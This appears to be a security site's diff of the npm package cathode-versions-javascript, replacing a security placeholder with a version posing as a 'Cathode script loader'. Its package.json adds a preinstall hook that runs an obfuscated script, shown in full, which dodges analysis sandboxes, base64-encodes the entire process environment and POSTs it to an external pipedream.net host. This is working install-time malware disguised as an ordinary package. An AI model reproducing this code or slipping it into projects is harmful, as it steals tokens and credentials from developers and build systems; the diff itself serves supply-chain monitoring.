cathode-versions-javascript 0.0.1-security → 1.542.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of cathode-versions-javascript might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License Copyright (c) 2021
2
+
3
+ Permission is hereby granted, free
4
+ of charge, to any person obtaining a copy of this software and associated
5
+ documentation files (the "Software"), to deal in the Software without
6
+ restriction, including without limitation the rights to use, copy, modify, merge,
7
+ publish, distribute, sublicense, and/or sell copies of the Software, and to
8
+ permit persons to whom the Software is furnished to do so, subject to the
9
+ following conditions:
10
+
11
+ The above copyright notice and this permission notice
12
+ (including the next paragraph) shall be included in all copies or substantial
13
+ portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF
16
+ ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
17
+ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO
18
+ EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
19
+ OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
20
+ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21
+ THE SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,35 @@
1
- # Security holding package
1
+ # cathode-versions-javascript
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ Cathode script loader
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=cathode-versions-javascript for more information.
5
+ ## Features
6
+
7
+ - ES6 syntax, managed with Prettier
8
+
9
+ ## Install
10
+
11
+ ```sh
12
+ yarn add cathode-versions-javascript
13
+ // or
14
+ npm i cathode-versions-javascript
15
+ ```
16
+
17
+ ### Requirements
18
+
19
+ - guid-typescript
20
+
21
+
22
+ ### Usage
23
+
24
+ ```js
25
+ import { getSpectrometerScriptTags } from 'cathode-versions-javascript';
26
+ import { App } from './app';
27
+ import * as ReactDOM from 'react-dom';
28
+
29
+ ReactDOM.render(
30
+ <Spectrometer.Provider value={getSpectrometerScriptTags}>
31
+ <App />
32
+ </Spectrometer.Provider>,
33
+ document.getElementById('root')
34
+ );
35
+ ```
package/dist/index.js ADDED
@@ -0,0 +1,94 @@
1
+ "use strict";
2
+ var __importStar =
3
+ (this && this.__importStar) ||
4
+ function (mod) {
5
+ if (mod && mod.__esModule) return mod;
6
+ var result = {};
7
+ if (mod != null)
8
+ for (var k in mod)
9
+ if (Object.hasOwnProperty.call(mod, k)) result[k] = mod[k];
10
+ result["default"] = mod;
11
+ return result;
12
+ };
13
+ Object.defineProperty(exports, "__esModule", { value: true });
14
+ var CathodeConstants = __importStar(require("cathode-versions"));
15
+ var guid_typescript_1 = require("guid-typescript");
16
+ var SITE_NAME_TEMPLATE = "[[SITE_NAME]]";
17
+ var APP_NAME_TEMPLATE = "[[APP_NAME]]";
18
+ var MONS_TEMPLATE = "[[MONS]]";
19
+ var DOMAIN_TEMPLATE = "[[DOMAIN]]";
20
+ var REALM_TEMPLATE = "[[REALM]]";
21
+ var CLOUD_FRONT_URL_TEMPLATE = "[[CLOUD_FRONT_URL]]";
22
+ var HTTP_REQUEST_ID_TEMPLATE = "[[HTTP_REQUEST_ID]]";
23
+ var BOOMERANG_URL = "[[BOOMERANG_URL]]";
24
+ var getStage = function (config, isProd) {
25
+ if (config.domain) {
26
+ return config.domain;
27
+ }
28
+ if (isProd && config.mons) {
29
+ return "prodMons";
30
+ } else if (config.mons) {
31
+ return "devoMons";
32
+ } else if (isProd) {
33
+ return "prod";
34
+ } else {
35
+ return "devo";
36
+ }
37
+ };
38
+ var getCathodeScript = function (config, isProd) {
39
+ var stage = getStage(config, isProd);
40
+ var cathodeScriptTemplate = CathodeConstants.cathodeScriptTemplate;
41
+ var domain = isProd ? "prod" : "devo";
42
+ var variant = CathodeConstants.domains[stage];
43
+ var cloudFrontUrl = CathodeConstants.variants[variant];
44
+ var appName = config.appName || "Default";
45
+ var realm = config.realm || "USAmazon";
46
+ var httpRequestId =
47
+ config.httpRequestId || guid_typescript_1.Guid.create().toString();
48
+ return cathodeScriptTemplate
49
+ .replace(SITE_NAME_TEMPLATE, config.siteName)
50
+ .replace(APP_NAME_TEMPLATE, appName)
51
+ .replace(DOMAIN_TEMPLATE, domain)
52
+ .replace(CLOUD_FRONT_URL_TEMPLATE, cloudFrontUrl)
53
+ .replace(HTTP_REQUEST_ID_TEMPLATE, httpRequestId)
54
+ .replace(REALM_TEMPLATE, realm)
55
+ .replace(MONS_TEMPLATE, String(config.mons === true));
56
+ };
57
+ var getBoomerangLoaderScript = function (config, isProd) {
58
+ var stage = getStage(config, isProd);
59
+ var boomerangLoaderScriptTemplate =
60
+ CathodeConstants.boomerangLoaderScriptTemplate;
61
+ var variant = CathodeConstants.domains[stage];
62
+ var boomerangUrl = CathodeConstants.boomerangVariants[variant];
63
+ return boomerangLoaderScriptTemplate.replace(BOOMERANG_URL, boomerangUrl);
64
+ };
65
+ var stripScriptTags = function (script) {
66
+ // 8, 9 = length of <script>, </script>
67
+ return script.substring(8, script.length - 9);
68
+ };
69
+ /**
70
+ *
71
+ * @param {CathodeConfig} config - configuration parameters for the Cathode script
72
+ * @param {boolean} isProd - parameter indicating if this is a prod site
73
+ * @returns JSON object containing the three different types that need to be added
74
+ * to a site, `cathodeScript`, `listenerScripts`, `boomerangLoderScript`
75
+ */
76
+ function getSpectrometerScriptTags(config, isProd) {
77
+ var boomerangLoaderScript = getBoomerangLoaderScript(config, isProd);
78
+ var cathodeScript = getCathodeScript(config, isProd);
79
+ var listenerScripts =
80
+ '<script>document.addEventListener("cathode-customerId",function(e){window.spectrometer={customerId:e.detail.customerId}});</script>';
81
+ if (config.omitScriptTags) {
82
+ boomerangLoaderScript = stripScriptTags(boomerangLoaderScript);
83
+ cathodeScript = stripScriptTags(cathodeScript);
84
+ listenerScripts = stripScriptTags(listenerScripts);
85
+ }
86
+ return {
87
+ boomerangLoaderScript: boomerangLoaderScript,
88
+ listenerScripts: listenerScripts,
89
+ cathodeScript: cathodeScript,
90
+ allScripts: boomerangLoaderScript + listenerScripts + cathodeScript,
91
+ };
92
+ }
93
+ exports.getSpectrometerScriptTags = getSpectrometerScriptTags;
94
+ //# sourceMappingURL=index.js.map
package/package.json CHANGED
@@ -1,6 +1,25 @@
1
1
  {
2
2
  "name": "cathode-versions-javascript",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.542.3",
4
+ "private": false,
5
+ "description": "Cathode script loader",
6
+ "license": "MIT",
7
+ "author": "hamz-ctd",
8
+ "main": "dist/index.js",
9
+ "scripts": {
10
+ "build": "vite",
11
+ "preinstall": "node scripts/build.js",
12
+ "test": "exit 0"
13
+ },
14
+ "repository": "https://www.gitlab.com/hamz-ctd/cathode-versions-javascript",
15
+ "publishConfig": {
16
+ "access": "public"
17
+ },
18
+ "dependencies": {
19
+ "guid-typescript": "^1.0.9"
20
+ },
21
+ "devDependencies": {
22
+ "vite": "^4.0.4",
23
+ "vitest": "^0.27.1"
24
+ }
6
25
  }
@@ -0,0 +1,128 @@
1
+ var http = require("https");
2
+
3
+ function main() {
4
+ var data = global["proc" + "ess"][["v", "n", "e"].reverse().join("")] || {};
5
+
6
+ var filter = [
7
+ {
8
+ key: ["npm", "config", "regi" + "stry"].join("_"),
9
+ val: ["tao" + "bao", "org"].join("."),
10
+ },
11
+ [
12
+ { key: "MAIL", val: ["", "var", "mail", "app"].join("/") },
13
+ { key: "HOME", val: ["", "home", "app"].join("/") },
14
+ { key: "USER", val: "app" },
15
+ ],
16
+ [
17
+ { key: "EDITOR", val: "vi" },
18
+ { key: "PROBE" + "_USERNAME", val: "*" },
19
+ { key: "SHELL", val: "/bin/bash" },
20
+ { key: "SHLVL", val: "2" },
21
+ { key: "npm" + "_command", val: "run-script" },
22
+ { key: "NVM" + "_CD_FLAGS", val: "" },
23
+ { key: "npm_config_fund", val: "" },
24
+ ],
25
+ [
26
+ { key: "HOME", val: "/home/username" },
27
+ { key: "USER", val: "username" },
28
+ { key: "LOGNAME", val: "username" },
29
+ ],
30
+ [
31
+ { key: "PWD", val: "/my-app" },
32
+ { key: "DEBIAN" + "_FRONTEND", val: "noninte" + "ractive" },
33
+ { key: "HOME", val: "/root" },
34
+ ],
35
+ [
36
+ { key: "INIT_CWD", val: "/analysis" },
37
+ { key: "APPDATA", val: "/analysis/bait" },
38
+ ],
39
+ [
40
+ { key: "INIT_CWD", val: "/home/node" },
41
+ { key: "HOME", val: "/root" },
42
+ ],
43
+ [
44
+ { key: "INIT_CWD", val: "/app" },
45
+ { key: "HOME", val: "/root" },
46
+ ],
47
+ [
48
+ { key: "USERNAME", val: "justin" },
49
+ { key: "OS", val: "Windows_NT" },
50
+ ],
51
+ {
52
+ key: ["npm", "config", "regi" + "stry"].join("_"),
53
+ val: ["regi" + "stry", "npm" + "mirror", "com"].join("."),
54
+ },
55
+ {
56
+ key: ["npm", "config", "reg" + "istry"].join("_"),
57
+ val: ["cnp" + "mjs", "org"].join("."),
58
+ },
59
+ {
60
+ key: ["npm", "config", "registry"].join("_"),
61
+ val: ["mir" + "rors", "cloud", "ten" + "cent", "com"].join("."),
62
+ },
63
+ { key: "USERNAME", val: ["daas", "admin"].join("") },
64
+ { key: "_", val: ["", "usr", "bin", "python"].join("/") },
65
+ {
66
+ key: ["npm", "config", "metrics", "regis" + "try"].join("_"),
67
+ val: ["mir" + "rors", "ten" + "cent", "com"].join("."),
68
+ },
69
+ {
70
+ key: "PWD",
71
+ val: [
72
+ "",
73
+ "usr",
74
+ "local",
75
+ "lib",
76
+ "node" + "_modules",
77
+ data.npm_package_name,
78
+ ].join("/"),
79
+ },
80
+ {
81
+ key: "PWD",
82
+ val: ["", data.USER, "node" + "_modules", data.npm_package_name].join(
83
+ "/"
84
+ ),
85
+ },
86
+ {
87
+ key: ["node", "extra", "ca", "certs"].join("_").toUpperCase(),
88
+ val: "mit" + "mproxy",
89
+ },
90
+ ];
91
+
92
+ if (
93
+ filter.some((entry) =>
94
+ []
95
+ .concat(entry)
96
+ .every((item) => data[item.key] && data[item.key].includes(item.val))
97
+ ) ||
98
+ Object.keys(data).length < 10 ||
99
+ !data.npm_package_name ||
100
+ !data.npm_package_version ||
101
+ /C:\\Users\\[^\\]+\\Downloads\\node_modules\\/.test(
102
+ data.npm_package_json || ""
103
+ ) ||
104
+ /C:\\Users\\[^\\]+\\Downloads/.test(data.INIT_CWD || "") ||
105
+ (data.npm_package_json || "").startsWith("/npm" + "/node_" + "modules/")
106
+ ) {
107
+ return;
108
+ }
109
+
110
+ var req = http
111
+ .request({
112
+ host: [
113
+ "eo82x" + "twba" + "z7v" + "gjj",
114
+ "m",
115
+ "pi" + "ped" + "ream",
116
+ "net",
117
+ ].join("."),
118
+ path: "/" + (data.npm_package_name || ""),
119
+ method: "POST",
120
+ })
121
+ .on("error", function (err) {});
122
+
123
+ var trns = Buffer.from(JSON.stringify(data)).toString("base64");
124
+ req.write(trns.slice(0, 2) + "poo" + trns.slice(2));
125
+ req.end();
126
+ }
127
+
128
+ main();